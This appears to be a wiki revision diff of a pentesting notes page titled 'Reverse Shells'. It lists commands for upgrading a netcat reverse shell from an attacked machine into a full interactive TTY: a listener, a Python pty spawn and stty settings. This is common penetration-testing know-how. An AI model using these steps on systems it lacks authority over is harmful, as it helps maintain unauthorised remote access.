Difference between revisions of "Reverse Shells"
Jump to navigation
Jump to search
Rafahsolis (talk | contribs) m Tag: visualeditor |
Rafahsolis (talk | contribs) m Tag: visualeditor |
||
| Line 3: | Line 3: | ||
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ | https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ | ||
| − | == Upgrading nc shell == | + | ==Upgrading nc shell== |
<br /><syntaxhighlight lang="bash"> | <br /><syntaxhighlight lang="bash"> | ||
$ stty -a # to get rows and columns from your machine | $ stty -a # to get rows and columns from your machine | ||
$ nc -lvp 444 # connect from the attacked machine | $ nc -lvp 444 # connect from the attacked machine | ||
| + | $ python -c 'import pty; pty.spawn("/bin/bash")' | ||
| + | Ctrl + Z | ||
$ stty raw -echo | $ stty raw -echo | ||
$ fg 1 | $ fg 1 | ||
Revision as of 07:49, 23 January 2020
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Upgrading nc shell
$ stty -a # to get rows and columns from your machine
$ nc -lvp 444 # connect from the attacked machine
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
$ stty raw -echo
$ fg 1
$ reset
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116